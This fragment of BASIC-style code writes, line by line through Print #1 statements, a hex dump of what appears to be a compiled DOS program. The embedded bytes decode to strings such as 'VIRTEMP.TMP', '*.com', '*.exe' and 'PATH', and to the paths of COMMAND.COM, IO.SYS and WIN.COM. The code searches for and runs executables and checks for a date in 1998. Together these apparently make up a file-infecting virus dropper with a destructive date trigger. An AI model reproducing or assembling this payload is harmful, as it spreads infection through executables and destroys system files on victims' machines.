Print #1, "E01D0 8E 04 00 00 B2 04 00 00 BC 04 00 00
CE 04 00 00"
Print #1, "E01E0 FA 04 00 00 08 05 00 00 19 05 00 00
29 05 00 00"
Print #1, "E01F0 38 05 00 00 52 05 00 00 6D 05 00 00
88 05 00 00"
Print #1, "E0200 93 05 00 00 A7 05 00 00 B1 05 00 00
C0 05 00 00"
Print #1, "E0210 C5 05 00 00 CF 05 00 00 DE 05 00 00
E3 05 00 00"
Print #1, "E0220 E8 05 00 00 F7 05 00 00 02 06 00 00
0D 06 00 00"
Print #1, "E0230 5D 06 00 00 99 06 00 00 A4 06 00 00
B4 06 00 00"
Print #1, "E0240 BF 06 00 00 CF 06 00 00 DA 06 00 00
FF 06 00 00"
Print #1, "E0250 0F 07 00 00 1E 07 00 00 5C 07 00 00
6F 07 00 00"
Print #1, "E0260 74 07 00 00 83 07 00 00 96 07 00 00
A0 07 00 00"
Print #1, "E0270 B1 07 00 00 BB 07 00 00 D0 07 00 00
DA 07 00 00"
Print #1, "E0280 EB 07 00 00 F5 07 00 00 57 08 00 00
5C 08 00 00"
Print #1, "E0290 73 08 00 00 7D 08 00 00 86 08 00 00
94 08 00 00"
Print #1, "E02A0 A2 08 00 00 AA 08 00 00 C0 08 00 00
BE 02 8D 00"
Print #1, "E02B0 09 00 BF 00 24 00 BF 00 37 00 BF 00
3B 01 BF 00"
Print #1, "E02C0 01 00 21 01 1B 01 21 01 B5 02 21 01
45 09 21 01"
Print #1, "E02D0 60 09 21 01 76 09 21 01 95 09 21 01
00 00 00 00"
Print #1, "E02E0 55 89 E5 81 EC 80 01 8C D3 8E C3 8C
DB FC 8D BE"
Print #1, "E02F0 00 FF C5 76 06 AC AA 91 30 ED F3 A4
8E DB 8D BE"
Print #1, "E0300 80 FE 16 57 8D BE 00 FF 16 57 9A 3F
04 21 01 8D"
Print #1, "E0310 BE 80 FE 16 57 B8 80 00 50 9A 7A 04
21 01 8D BE"
Print #1, "E0320 80 FE 16 57 BF 72 06 1E 57 9A 93 00
8D 00 FF 36"
Print #1, "E0330 74 06 FF 36 72 06 BF 66 06 1E 57 9A
55 01 8D 00"
Print #1, "E0340 A1 6C 06 A3 58 06 A1 6E 06 A3 5A 06
A1 70 06 A3"
Print #1, "E0350 5C 06 A1 6A 06 A3 60 06 A1 68 06 A3
62 06 A1 66"
Print #1, "E0360 06 A3 64 06 8D BE 80 FE 16 57 9A FB
04 21 01 89"
Print #1, "E0370 EC 5D CA 04 00 55 89 E5 81 EC 80 01
8C D3 8E C3"
Print #1, "E0380 8C DB FC 8D BE 00 FF C5 76 06 AC AA
91 30 ED F3"
Print #1, "E0390 A4 8E DB A1 58 06 A3 6C 06 A1 5A 06
A3 6E 06 A1"
Print #1, "E03A0 5C 06 A3 70 06 A1 60 06 A3 6A 06 A1
62 06 A3 68"
Print #1, "E03B0 06 A1 64 06 A3 66 06 8D BE 80 FE 16
57 8D BE 00"
Print #1, "E03C0 FF 16 57 9A 3F 04 21 01 8D BE 80 FE
16 57 B8 80"
Print #1, "E03D0 00 50 9A 7A 04 21 01 BF 66 06 1E 57
BF 72 06 1E"
Print #1, "E03E0 57 9A 99 01 8D 00 8D BE 80 FE 16 57
B8 80 00 50"
Print #1, "E03F0 9A 7A 04 21 01 8D BE 80 FE 16 57 FF
36 74 06 FF"
Print #1, "E0400 36 72 06 9A BA 00 8D 00 8D BE 80 FE
16 57 9A FB"
Print #1, "E0410 04 21 01 89 EC 5D CA 04 00 55 89 E5
81 EC 10 01"
Print #1, "E0420 8C D3 8E C3 8C DB FC 8D BE FE FE C5
76 06 AC AA"
Print #1, "E0430 91 30 ED F3 A4 8E DB C7 86 F0 FE 01
00 BF D6 00"
Print #1, "E0440 1E 57 8D BE FE FE 16 57 9A 3F 04 21
01 BF D6 00"
Print #1, "E0450 1E 57 B8 01 00 50 9A 7A 04 21 01 BF
D6 00 1E 57"
Print #1, "E0460 8D BE F4 FE 16 57 B8 0A 00 50 8D BE
F2 FE 16 57"
Print #1, "E0470 9A 65 05 21 01 8A 86 F6 FE 3A 06 05
00 75 10 8A"
Print #1, "E0480 86 F7 FE 3A 06 06 00 75 06 C6 46 FF
01 EB 04 C6"
Print #1, "E0490 46 FF 00 BF D6 00 1E 57 9A FB 04 21
01 8A 46 FF"
Print #1, "E04A0 89 EC 5D CA 04 00 0B 56 49 52 54 45
4D 50 2E 54"
Print #1, "E04B0 4D 50 0B 43 4F 4D 4D 41 4E 44 2E 43
4F 4D 0B 76"
Print #1, "E04C0 69 72 74 65 6D 70 2E 74 6D 70 0B 76
69 72 74 65"
Print #1, "E04D0 6D 70 2E 54 4D 50 55 89 E5 81 EC 64
27 8C D3 8E"
Print #1, "E04E0 C3 8C DB FC 8D BE 00 FF C5 76 06 AC
AA 91 30 ED"
Print #1, "E04F0 F3 A4 8E DB 8D BE 00 FF 16 57 BF C6
01 0E 57 9A"
Print #1, "E0500 EA 07 21 01 75 03 E9 EF 01 8D BE 00
FF 16 57 BF"
Print #1, "E0510 D2 01 0E 57 9A EA 07 21 01 75 03 E9
DA 01 8D BE"
Print #1, "E0520 00 FF 16 57 0E E8 B8 FD BF 56 01 1E
57 8D BE 00"
Print #1, "E0530 FF 16 57 9A 3F 04 21 01 BF 56 01 1E
57 B8 01 00"
Print #1, "E0540 50 9A 7A 04 21 01 BF D6 01 1E 57 BF
DE 01 0E 57"
Print #1, "E0550 9A 3F 04 21 01 BF D6 01 1E 57 B8 01
00 50 9A 83"
Print #1, "E0560 04 21 01 BF 56 01 1E 57 8D BE A0 D8
16 57 B8 00"
Print #1, "E0570 08 50 8D BE 9E D8 16 57 9A 65 05 21
01 BF D6 01"
Print #1, "E0580 1E 57 8D BE A0 D8 16 57 FF B6 9E D8
8D BE 9C D8"
Print #1, "E0590 16 57 9A 6C 05 21 01 83 BE 9E D8 00
74 0A 8B 86"
Print #1, "E05A0 9C D8 3B 86 9E D8 74 BB BF 56 01 1E
57 9A FB 04"
Print #1, "E05B0 21 01 BF D6 01 1E 57 9A FB 04 21 01
BF 56 01 1E"
Print #1, "E05C0 57 BF 76 06 1E 57 9A 3F 04 21 01 BF
56 01 1E 57"
Print #1, "E05D0 B8 01 00 50 9A 7A 04 21 01 BF D6 01
1E 57 8D BE"
Print #1, "E05E0 00 FF 16 57 9A 3F 04 21 01 BF D6 01
1E 57 B8 01"
Print #1, "E05F0 00 50 9A 83 04 21 01 BF 56 01 1E 57
8D BE A0 E0"
Print #1, "E0600 16 57 B8 60 1E 50 8D BE 9E D8 16 57
9A 65 05 21"
Print #1, "E0610 01 BF D6 01 1E 57 8D BE A0 E0 16 57
FF B6 9E D8"
Print #1, "E0620 8D BE 9C D8 16 57 9A 6C 05 21 01 BF
56 01 1E 57"
Print #1, "E0630 9A FB 04 21 01 BF D6 01 1E 57 9A FB
04 21 01 BF"
Print #1, "E0640 56 01 1E 57 BF EA 01 0E 57 9A 3F 04
21 01 BF 56"
Print #1, "E0650 01 1E 57 B8 01 00 50 9A 7A 04 21 01
BF D6 01 1E"
Print #1, "E0660 57 8D BE 00 FF 16 57 9A 3F 04 21 01
BF D6 01 1E"
Print #1, "E0670 57 B8 01 00 50 9A 7A 04 21 01 BF D6
01 1E 57 B8"
Print #1, "E0680 60 1E 31 D2 52 50 9A CD 05 21 01 BF
56 01 1E 57"
Print #1, "E0690 8D BE A0 E0 16 57 B8 60 1E 50 8D BE
9E D8 16 57"
Print #1, "E06A0 9A 65 05 21 01 BF D6 01 1E 57 8D BE
A0 E0 16 57"
Print #1, "E06B0 FF B6 9E D8 8D BE 9C D8 16 57 9A 6C
05 21 01 83"
Print #1, "E06C0 BE 9E D8 00 74 0A 8B 86 9C D8 3B 86
9E D8 74 BB"
Print #1, "E06D0 BF 56 01 1E 57 9A FB 04 21 01 BF D6
01 1E 57 9A"
Print #1, "E06E0 FB 04 21 01 BF 56 01 1E 57 9A FD 05
21 01 8D BE"
Print #1, "E06F0 00 FF 16 57 0E E8 7D FC 89 EC 5D CA
04 00 55 89"
Print #1, "E0700 E5 81 EC 00 04 8C D3 8E C3 8C DB FC
8D BE 00 FF"
Print #1, "E0710 C5 76 0A AC AA 91 30 ED F3 A4 8D BE
00 FE C5 76"
Print #1, "E0720 06 AC AA 91 30 ED F3 A4 8E DB 8D BE
00 FF 16 57"
Print #1, "E0730 B8 20 00 50 BF C8 06 1E 57 9A D9 00
8D 00 83 3E"
Print #1, "E0740 F4 06 00 75 6D 83 3E C6 06 28 7D 66
80 3E E6 06"
Print #1, "E0750 00 75 02 EB 5D 8D BE 00 FD 16 57 8D
BE 00 FE 16"
Print #1, "E0760 57 9A F9 06 21 01 BF E6 06 1E 57 9A
78 07 21 01"
Print #1, "E0770 0E E8 A5 FC 08 C0 75 2E FF 06 C6 06
83 3E C6 06"
Print #1, "E0780 28 7D 21 8D BE 00 FC 16 57 8D BE 00
FE 16 57 9A"
Print #1, "E0790 F9 06 21 01 BF E6 06 1E 57 9A 78 07
21 01 0E E8"
Print #1, "E07A0 34 FD EB 02 EB 0C BF C8 06 1E 57 9A
17 01 8D 00"
Print #1, "E07B0 EB 8C 89 EC 5D CA 08 00 0B 76 69 72
74 65 6D 70"
Print #1, "E07C0 2E 74 6D 70 01 20 55 89 E5 81 EC 04
0C 8D 7E 80"
Print #1, "E07D0 16 57 BF 76 06 1E 57 9A 3F 04 21 01
8D 7E 80 16"
Print #1, "E07E0 57 B8 01 00 50 9A 7A 04 21 01 8D 7E
80 16 57 B8"
Print #1, "E07F0 60 1E 31 D2 52 50 9A CD 05 21 01 8D
BE 00 FF 16"
Print #1, "E0800 57 BF D8 04 0E 57 9A 3F 04 21 01 8D
BE 00 FF 16"
Print #1, "E0810 57 B8 01 00 50 9A 83 04 21 01 8D 7E
80 16 57 8D"
Print #1, "E0820 BE FC F6 16 57 B8 00 08 50 8D BE FE
FE 16 57 9A"
Print #1, "E0830 65 05 21 01 8D BE 00 FF 16 57 8D BE
FC F6 16 57"
Print #1, "E0840 FF B6 FE FE 8D BE FC FE 16 57 9A 6C
05 21 01 83"
Print #1, "E0850 BE FE FE 00 74 0A 8B 86 FC FE 3B 86
FE FE 74 BA"
Print #1, "E0860 8D 7E 80 16 57 9A FB 04 21 01 8D BE
00 FF 16 57"
Print #1, "E0870 9A FB 04 21 01 BF D8 04 0E 57 8D BE
FC F5 16 57"
Print #1, "E0880 B8 01 00 50 9A 71 06 21 01 BF E4 04
0E 57 9A 78"
Print #1, "E0890 07 21 01 8D BE FC F4 16 57 B8 02 00
50 9A 71 06"
Print #1, "E08A0 21 01 9A 78 07 21 01 BF E4 04 0E 57
9A 78 07 21"
Print #1, "E08B0 01 8D BE FC F3 16 57 B8 03 00 50 9A
71 06 21 01"
Print #1, "E08C0 9A 78 07 21 01 9A 3F 02 8D 00 8D BE
00 FF 16 57"
Print #1, "E08D0 B8 80 00 50 9A 83 04 21 01 8D BE 00
FF 16 57 9A"
Print #1, "E08E0 FB 04 21 01 8D BE 00 FF 16 57 9A FD
05 21 01 89"
Print #1, "E08F0 EC 5D CB 0E 63 3A 5C 63 6F 6D 6D 61
6E 64 2E 63"
Print #1, "E0900 6F 6D 09 63 3A 5C 69 6F 2E 73 79 73
12 63 3A 5C"
Print #1, "E0910 77 69 6E 64 6F 77 73 5C 77 69 6E 2E
63 6F 6D 55"
Print #1, "E0920 89 E5 81 EC 8A 00 8D 7E FA 16 57 8D
7E FE 16 57"
Print #1, "E0930 8D 7E FC 16 57 8D 7E F8 16 57 9A 00
00 8D 00 C6"
Print #1, "E0940 46 F7 00 81 7E FA CE 07 75 10 83 7E
FE 07 72 0A"
Print #1, "E0950 83 7E FC 0C 72 04 C6 46 F7 01 81 7E
FA CE 07 76"
Print #1, "E0960 04 C6 46 F7 01 80 7E F7 00 74 51 8D
BE 76 FF 16"
Print #1, "E0970 57 BF 13 06 0E 57 9A 3F 04 21 01 8D
BE 76 FF 16"
Print #1, "E0980 57 9A FD 05 21 01 8D BE 76 FF 16 57
BF 22 06 0E"
Print #1, "E0990 57 9A 3F 04 21 01 8D BE 76 FF 16 57
9A FD 05 21"
Print #1, "E09A0 01 8D BE 76 FF 16 57 BF 2C 06 0E 57
9A 3F 04 21"
Print #1, "E09B0 01 8D BE 76 FF 16 57 9A FD 05 21 01
89 EC 5D CB"
Print #1, "E09C0 04 50 41 54 48 06 5C 2A 2E 63 6F 6D
01 5C 06 5C"
Print #1, "E09D0 2A 2E 65 78 65 55 89 E5 81 EC 04 04
9A D8 02 8D"
Print #1, "E09E0 00 8D BE FE FC 16 57 BF E0 06 0E 57
9A D1 01 8D"
Print #1, "E09F0 00 8D BE FE FD 16 57 B8 FF 00 50 9A
13 07 21 01"
Print #1, "E0A00 C6 86 FE FE 00 8A 86 FE FD 30 E4 89
86 FC FD B8"
Print #1, "E0A10 01 00 3B 86 FC FD 7E 03 E9 D1 00 89
46 FE EB 03"
Print #1, "E0A20 FF 46 FE 8B 7E FE 80 BB FE FD 3B 74
3A 8D BE FC"
Print #1, "E0A30 FB 16 57 8D BE FE FE 16 57 9A F9 06
21 01 8D BE"
Print #1, "E0A40 FC FC 16 57 8B 7E FE 8A 83 FE FD 50
9A 15 08 21"
Print #1, "E0A50 01 9A 78 07 21 01 8D BE FE FE 16 57
B8 FF 00 50"
Print #1, "E0A60 9A 13 07 21 01 EB 79 8D BE FC FC 16
57 8D BE FE"
Print #1, "E0A70 FE 16 57 9A F9 06 21 01 BF E5 06 0E
57 9A 78 07"
Print #1, "E0A80 21 01 8D BE FC FB 16 57 8D BE FE FE
16 57 9A F9"
Print #1, "E0A90 06 21 01 BF EC 06 0E 57 9A 78 07 21
01 0E E8 5D"
Print #1, "E0AA0 FC 8D BE FC FC 16 57 8D BE FE FE 16
57 9A F9 06"
Print #1, "E0AB0 21 01 BF EE 06 0E 57 9A 78 07 21 01
8D BE FC FB"
Print #1, "E0AC0 16 57 8D BE FE FE 16 57 9A F9 06 21
01 BF EC 06"
Print #1, "E0AD0 0E 57 9A 78 07 21 01 0E E8 23 FC C6
86 FE FE 00"
Print #1, "E0AE0 8B 46 FE 3B 86 FC FD 74 03 E9 34 FF
89 EC 5D CB"
Print #1, "E0AF0 05 2A 2E 63 6F 6D 00 05 2A 2E 65 78
65 55 89 E5"
Print #1, "E0B00 31 C0 A3 C6 06 BF 10 08 0E 57 BF 16
08 0E 57 0E"
Print #1, "E0B10 E8 EB FB BF 17 08 0E 57 BF 16 08 0E
57 0E E8 DD"
Print #1, "E0B20 FB 0E E8 B0 FE 5D CB 06 4C 45 47 41
44 4F 05 4E"
Print #1, "E0B30 4F 57 41 59 9A 00 00 21 01 9A 0D 00
BF 00 55 89"
Print #1, "E0B40 E5 81 EC 00 01 8D BE 00 FF 16 57 BF
47 08 0E 57"
Print #1, "E0B50 9A D1 01 8D 00 BF 4E 08 0E 57 9A EA
07 21 01 75"
Print #1, "E0B60 07 31 C0 9A 16 01 21 01 8D BE 00 FF
16 57 31 C0"
Print #1, "E0B70 50 9A 71 06 21 01 BF 76 06 1E 57 B8
4F 00 50 9A"
Print #1, "E0B80 13 07 21 01 B0 00 50 9A 84 00 8D 00
0E E8 6D FF"
Print #1, "E0B90 0E E8 32 FC 0E E8 87 FD 89 EC 5D 31
C0 9A 16 01"
Print #1, "E0BA0 21 01 00 00 00 00 00 00 00 00 00 00
00 00 00 00"
Print #1, "E0BB0 55 8B EC B4 2A CD 21 32 E4 C4 7E 06
AB 8A C2 C4"
Print #1, "E0BC0 7E 0A AB 8A C6 C4 7E 0E AB 91 C4 7E
12 AB 5D CA"
Print #1, "E0BD0 10 00 55 8B EC 8B 4E 0A 8A 76 08 8A
56 06 B4 2B"
Print #1, "E0BE0 CD 21 5D CA 06 00 55 8B EC B4 2C CD
21 32 E4 8A"
Print #1, "E0BF0 C2 C4 7E 06 AB 8A C6 C4 7E 0A AB 8A
C1 C4 7E 0E"
Print #1, "E0C00 AB 8A C5 C4 7E 12 AB 5D CA 10 00 55
8B EC 8A 6E"
Print #1, "E0C10 0C 8A 4E 0A 8A 76 08 8A 56 06 B4 2D
CD 21 5D CA"
Print #1, "E0C20 08 00 55 8B EC B8 00 33 CD 21 C4 7E
06 26 88 15"
Print #1, "E0C30 5D CA 04 00 55 8B EC 8A 56 06 B8 01
33 CD 21 5D"
Print #1, "E0C40 CA 02 00 55 8B EC C4 7E 0A 26 8B 1D
B8 00 57 CD"
Print #1, "E0C50 21 73 06 33 C9 33 D2 EB 02 33 C0 A3
F4 06 C4 7E"
Print #1, "E0C60 06 FC 91 AB 92 AB 5D CA 08 00 55 8B
EC C4 7E 0A"
Print #1, "E0C70 26 8B 1D 8B 4E 06 8B 56 08 B8 01 57
CD 21 72 02"
Print #1, "E0C80 33 C0 A3 F4 06 5D CA 08 00 55 8B EC
83 EC 50 1E"
Print #1, "E0C90 C5 76 0C 8D 7E B0 16 07 FC AC 3C 4F
72 02 B0 4F"
Print #1, "E0CA0 98 91 F3 A4 32 C0 AA C5 56 06 B4 1A
CD 21 8D 56"
Print #1, "E0CB0 B0 16 1F 8B 4E 0A B4 4E CD 21 1F C4
7E 06 E8 20"
Print #1, "E0CC0 00 8B E5 5D CA 0A 00 55 8B EC 1E C5
56 06 B4 1A"
Print #1, "E0CD0 CD 21 1F B4 4F CD 21 C4 7E 06 E8 04
00 5D CA 04"
Print #1, "E0CE0 00 72 1E 83 C7 1E 1E 06 1F 32 C0 B9
00 01 FC F2"
Print #1, "E0CF0 AE F6 D1 8A C1 4F 8B F7 4E FD F3 A4
AA FC 1F 33"
Print #1, "E0D00 C0 A3 F4 06 C3 55 8B EC C4 7E 06 FC
8B 46 0C B1"
Print #1, "E0D10 09 D3 E8 05 BC 07 AB 8B 46 0C B1 05
D3 E8 25 0F"
Print #1, "E0D20 00 AB 8B 46 0C 25 1F 00 AB 8B 46 0A
B1 0B D3 E8"
Print #1, "E0D30 AB 8B 46 0A B1 05 D3 E8 25 3F 00 AB
8B 46 0A 25"
Print #1, "E0D40 1F 00 D1 E0 AB 5D CA 08 00 55 8B EC
1E C5 76 0A"
Print #1, "E0D50 FC AD 2D BC 07 B1 09 D3 E0 92 AD B1
05 D3 E0 03"
Print #1, "E0D60 D0 AD 03 D0 AD B1 0B D3 E0 93 AD B1
05 D3 E0 03"
Print #1, "E0D70 D8 AD D1 E8 03 C3 1F C4 7E 06 AB 92
AB 5D CA 08"
Print #1, "E0D80 00 55 8B EC 83 EC 20 1E FC C5 76 06
8D 7E E0 16"
Print #1, "E0D90 07 AC 3C 1F 76 02 B0 1F 98 8B C8 40
8B D0 E3 0E"
Print #1, "E0DA0 AC 3C 61 72 06 3C 7A 77 02 2C 20 AA
E2 F2 B0 3D"
Print #1, "E0DB0 AA 1F 1E 8E 1E 3E 00 8E 1E 2C 00 33
F6 80 3C 00"
Print #1, "E0DC0 74 11 8D 7E E0 8B CA F3 A6 74 08 4E
AC 0A C0 75"
Print #1, "E0DD0 FB EB EA 8B FE 1E 07 32 C0 B9 00 01
F2 AE F6 D1"
Print #1, "E0DE0 C4 7E 0A 8A C1 AA F3 A4 1F 8B E5 5D
CA 04 00 55"
Print #1, "E0DF0 8B EC 89 26 F6 06 8C 16 F8 06 81 EC
FE 00 8E 1E"
Print #1, "E0E00 3E 00 A1 2C 00 89 46 F2 16 07 FC C5
76 0A 8D 7E"
Print #1, "E0E10 82 AC 3C 4F 72 02 B0 4F 98 91 F3 A4
32 C0 AA C5"
Print #1, "E0E20 76 06 8D BE 02 FF AC 3C 7E 72 02 B0
7E AA 98 91"
Print #1, "E0E30 F3 A4 B0 0D AA 16 1F 8D B6 02 FF 89
76 F4 8C 5E"
Print #1, "E0E40 F6 46 8D 7E E2 89 7E F8 8C 46 FA B8
01 29 CD 21"
Print #1, "E0E50 8D 7E D2 89 7E FC 8C 46 FE B8 01 29
CD 21 8D 56"
Print #1, "E0E60 82 8D 5E F2 B8 00 4B CD 21 72 02 33
C0 BA C2 01"
Print #1, "E0E70 8E DA FA 8B 26 F6 06 8E 16 F8 06 FB
A3 F4 06 5D"
Print #1, "E0E80 CA 08 00 B4 4D CD 21 CB BF 0E 09 BE
FE 02 B9 13"
Print #1, "E0E90 00 90 FC 2E AC B4 35 CD 21 06 53 1E
C5 15 B4 25"
Print #1, "E0EA0 CD 21 1F 8F 05 8F 45 02 83 C7 04 E2
E6 CB 00 02"
Print #1, "E0EB0 1B 21 23 24 34 35 36 37 38 39 3A 3B
3C 3D 3E 3F"
Print #1, "E0EC0 75 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00"
Print #1, "E0ED0 55 89 E5 B8 FF 00 9A 16 01 21 01 5D
C3 55 89 E5"
Print #1, "E0EE0 E8 28 00 BF 0E 07 1E 57 0E E8 20 03
BF 0E 07 1E"
Print #1, "E0EF0 57 9A 09 03 21 01 BF 0E 08 1E 57 0E
E8 0D 03 BF"
Print #1, "E0F00 0E 08 1E 57 9A 0E 03 21 01 5D CB B4
0F E8 D4 05"
Print #1, "E0F10 3C 07 74 0A 3C 03 76 06 B8 03 00 E8
55 00 E8 9F"
Print #1, "E0F20 00 B4 08 32 FF E8 BC 05 8A C4 24 7F
A2 0A 07 A2"
Print #1, "E0F30 00 07 33 C0 A2 FB 06 A2 0B 07 A2 0C
07 40 A2 FA"
Print #1, "E0F40 06 8E 06 4A 00 BF 6C 00 26 8A 1D 26
3A 1D 74 FB"
Print #1, "E0F50 26 8A 1D B8 E4 FF 99 E8 3C 02 F7 D0
F7 D2 B9 37"
Print #1, "E0F60 00 F7 F1 A3 06 07 1E 0E 1F BA 38 01
B8 1B 25 CD"
Print #1, "E0F70 21 1F C3 8E 06 4A 00 26 80 26 87 00
FE 3C 07 74"
Print #1, "E0F80 06 3C 04 72 02 B0 03 50 B4 00 E8 57
05 58 0A E4"
Print #1, "E0F90 74 2D B8 12 11 B3 00 E8 4A 05 B8 30
11 B7 00 B2"
Print #1, "E0FA0 00 E8 40 05 80 FA 2A 75 16 26 80 0E
87 00 01 B8"
Print #1, "E0FB0 00 01 B9 00 06 E8 2C 05 B4 12 B3 20
E8 25 05 C3"
Print #1, "E0FC0 B4 0F E8 1F 05 50 B8 30 11 B7 00 B2
00 E8 14 05"
Print #1, "E0FD0 58 B1 00 0A D2 75 08 B2 18 3C 03 77
02 B1 01 8A"
Print #1, "E0FE0 F2 8A D4 FE CA B4 00 80 FE 18 76 02
B4 01 A3 FE"
Print #1, "E0FF0 06 89 16 08 07 88 0E FD 06 C6 06 FC
06 01 33 C0"
Print #1, "E1000 A3 02 07 89 16 04 07 C3 50 1E B8 C2
01 8E D8 80"
Print #1, "E1010 3E FA 06 00 74 05 C6 06 0C 07 01 1F
58 CF 80 3E"
Print #1, "E1020 0C 07 00 75 01 C3 C6 06 0C 07 00 B4
01 CD 16 74"
Print #1, "E1030 06 B4 00 CD 16 EB F4 B0 5E E8 1D 03
B0 43 E8 18"
Print #1, "E1040 03 E8 0E 03 E9 89 FE 8B DC 36 8B 47
04 E8 23 FF"
Print #1, "E1050 E8 6D FF A0 0A 07 A2 00 07 CA 02 00
8B DC 36 8A"
Print #1, "E1060 57 0A 36 8A 77 08 36 8A 4F 06 36 8A
6F 04 3A D1"
Print #1, "E1070 77 27 3A F5 77 23 FE CA 78 1F FE CE
78 1B FE C9"
Print #1, "E1080 3A 0E 08 07 77 13 FE CD 3A 2E 09 07
77 0B 89 16"
Print #1, "E1090 02 07 89 0E 04 07 E8 41 03 CA 08 00
B8 00 06 8A"
Print #1, "E10A0 3E 00 07 8B 0E 02 07 8B 16 04 07 E8
36 04 8B 16"
Print #1, "E10B0 02 07 E8 25 03 CB E8 1A 03 B8 00 06
8A 3E 00 07"
Print #1, "E10C0 8B CA 8A 16 04 07 E8 1B 04 CB B8 01
07 EB 03 B8"
Print #1, "E10D0 01 06 50 E8 FD 02 58 8A 3E 00 07 8A
0E 02 07 8A"
Print #1, "E10E0 EE 8B 16 04 07 3A EE 75 02 32 C0 E8
F6 03 CB 8B"
Print #1, "E10F0 DC 36 8A 57 06 36 8A 77 04 FE CA 02
16 02 07 72"
Print #1, "E1100 17 3A 16 04 07 77 11 FE CE 02 36 03
07 72 09 3A"
Print #1, "E1110 36 05 07 77 03 E8 C2 02 CA 04 00 E8
B5 02 8A C2"
Print #1, "E1120 2A 06 02 07 FE C0 CB E8 A9 02 8A C6
2A 06 03 07"
Print #1, "E1130 FE C0 CB 8B DC 36 8A 47 04 A8 F0 74
04 24 0F 0C"
Print #1, "E1140 80 80 26 00 07 70 08 06 00 07 CA 02
00 8B DC 36"
Print #1, "E1150 8A 47 04 24 07 B1 04 D2 E0 80 26 00
07 8F 08 06"
Print #1, "E1160 00 07 CA 02 00 80 26 00 07 F7 CB 80
0E 00 07 08"
Print #1, "E1170 CB A0 0A 07 A2 00 07 CB 8B DC 36 8B
4F 04 E3 13"
Print #1, "E1180 8E 06 4A 00 33 FF 26 8A 1D A1 06 07
33 D2 E8 05"
Print #1, "E1190 00 E2 F6 CA 02 00 2D 01 00 83 DA 00
72 05 26 3A"
Print #1, "E11A0 1D 74 F3 C3 8B DC 36 8B 5F 04 B8 DD
34 BA 12 00"
Print #1, "E11B0 3B D3 73 1A F7 F3 8B D8 E4 61 A8 03
75 08 0C 03"
Print #1, "E11C0 E6 61 B0 B6 E6 43 8A C3 E6 42 8A C7
E6 42 CA 02"
Print #1, "E11D0 00 E4 61 24 FC E6 61 CB 80 3E 0B 07
00 75 08 B4"
Print #1, "E11E0 01 CD 16 B0 00 74 02 B0 01 CB A0 0B
07 C6 06 0B"
Print #1, "E11F0 07 00 0A C0 75 12 32 E4 CD 16 0A C0
75 0A 88 26"
Print #1, "E1200 0B 07 0A E4 75 02 B0 03 E8 13 FE CB
8B DC 1E 36"
Print #1, "E1210 C5 7F 04 C7 45 02 B0 D7 C7 45 04 80
00 8D 85 80"
Print #1, "E1220 00 89 45 0C 8C 5D 0E C7 45 10 67 03
8C 4D 12 C6"
Print #1, "E1230 45 30 00 1F CA 04 00 8B DC 1E 36 C5
7F 04 B8 9F"
Print #1, "E1240 03 BB 7D 04 8B CB 81 7D 02 B1 D7 74
0A C7 45 02"
Print #1, "E1250 B2 D7 B8 4C 04 8B D8 89 45 14 8C 4D
16 89 5D 18"
Print #1, "E1260 8C 4D 1A 89 4D 1C 8C 4D 1E 33 C0 1F
CA 04 00 55"
Print #1, "E1270 8B EC C4 7E 06 26 8B 55 04 4A 4A 26
8B 75 08 26"
Print #1, "E1280 C4 7D 0C 33 DB C6 06 0B 07 00 0E E8
5C FF B9 01"
Print #1, "E1290 00 3C 08 74 34 3C 13 74 30 3C 04 74
44 49 3C 1B"
Print #1, "E12A0 74 27 3C 01 74 23 3C 06 74 37 3C 1A
74 46 3C 0D"
Print #1, "E12B0 74 4F 3C 20 72 CF 3B DA 74 CB 26 88
01 43 E8 98"
Print #1, "E12C0 00 3B DE 76 C0 8B F3 EB BC 0B DB 74
B8 B0 08 E8"
Print #1, "E12D0 87 00 B0 20 E8 82 00 B0 08 E8 7D 00
4B E2 EA EB"
Print #1, "E12E0 A4 3B DE 74 A0 26 8A 01 3C 20 72 99
E8 6A 00 43"
Print #1, "E12F0 E2 EF EB 91 80 3E FB 06 00 74 8A 26
88 01 43 EB"
Print #1, "E1300 0A E8 4E 00 26 C7 01 0D 0A 43 43 C4
7E 06 33 C0"
Print #1, "E1310 26 89 45 08 26 89 5D 0A 5D CA 04 00
8B DC 36 C4"
Print #1, "E1320 7F 04 26 8B 4D 08 26 29 4D 08 E3 19
26 C4 7D 0C"
Print #1, "E1330 80 3E FC 06 00 75 0B 26 8A 05 E8 1C
00 47 E2 F7"
Print #1, "E1340 EB 03 E8 9C 00 E8 D6 FC 33 C0 CA 04
00 33 C0 CA"
Print #1, "E1350 04 00 B0 0D E8 02 00 B0 0A 53 51 52
06 50 E8 72"
Print #1, "E1360 00 58 3C 07 74 2A 3C 08 74 2D 3C 0D
74 33 3C 0A"
Print #1, "E1370 74 35 B4 09 8A 1E 00 07 32 FF B9 01
00 52 E8 63"
Print #1, "E1380 01 5A FE C2 3A 16 04 07 76 20 8A 16
02 07 EB 17"
Print #1, "E1390 B4 0E E8 4F 01 EB 13 3A 16 02 07 74
0D FE CA EB"
Print #1, "E13A0 09 8A 16 02 07 EB 03 E8 08 00 E8 2D
00 07 5A 59"
Print #1, "E13B0 5B C3 FE C6 3A 36 05 07 76 18 FE CE
51 52 B8 01"
Print #1, "E13C0 06 8A 3E 00 07 8B 0E 02 07 8B 16 04
07 E8 14 01"
Print #1, "E13D0 5A 59 C3 B4 03 32 FF E9 0A 01 B4 02
32 FF E9 03"
Print #1, "E13E0 01 1E 8E 1E 4A 00 8B 16 50 00 1F 8B
DA 8B F7 26"
Print #1, "E13F0 8A 05 3C 07 74 21 3C 08 74 2C 3C 0A
74 35 3C 0D"
Print #1, "E1400 74 39 47 FE C2 3A 16 04 07 76 3C E8
6E 00 E8 A1"
Print #1, "E1410 FF 8A 16 02 07 EB 2C E8 62 00 51 52
B8 07 0E E8"
Print #1, "E1420 C2 00 5A 59 EB 1C E8 53 00 3A 16 02
07 74 13 FE"
Print #1, "E1430 CA EB 0F E8 46 00 E8 79 FF EB 07 E8
3E 00 8A 16"
Print #1, "E1440 02 07 47 8B F7 8B DA E2 A6 E8 30 00
1E 8E 1E 4A"
Print #1, "E1450 00 89 16 50 00 8A C6 F6 26 4A 00 32
F6 03 C2 8B"
Print #1, "E1460 C8 8B 16 63 00 B0 0E EE EB 00 8A C5
42 EE EB 00"
Print #1, "E1470 4A B0 0F EE EB 00 8A C1 42 EE 1F C3
3B F7 74 63"
Print #1, "E1480 51 52 57 1E 06 8B CF 2B CE 1E 8E 1E
4A 00 8A C7"
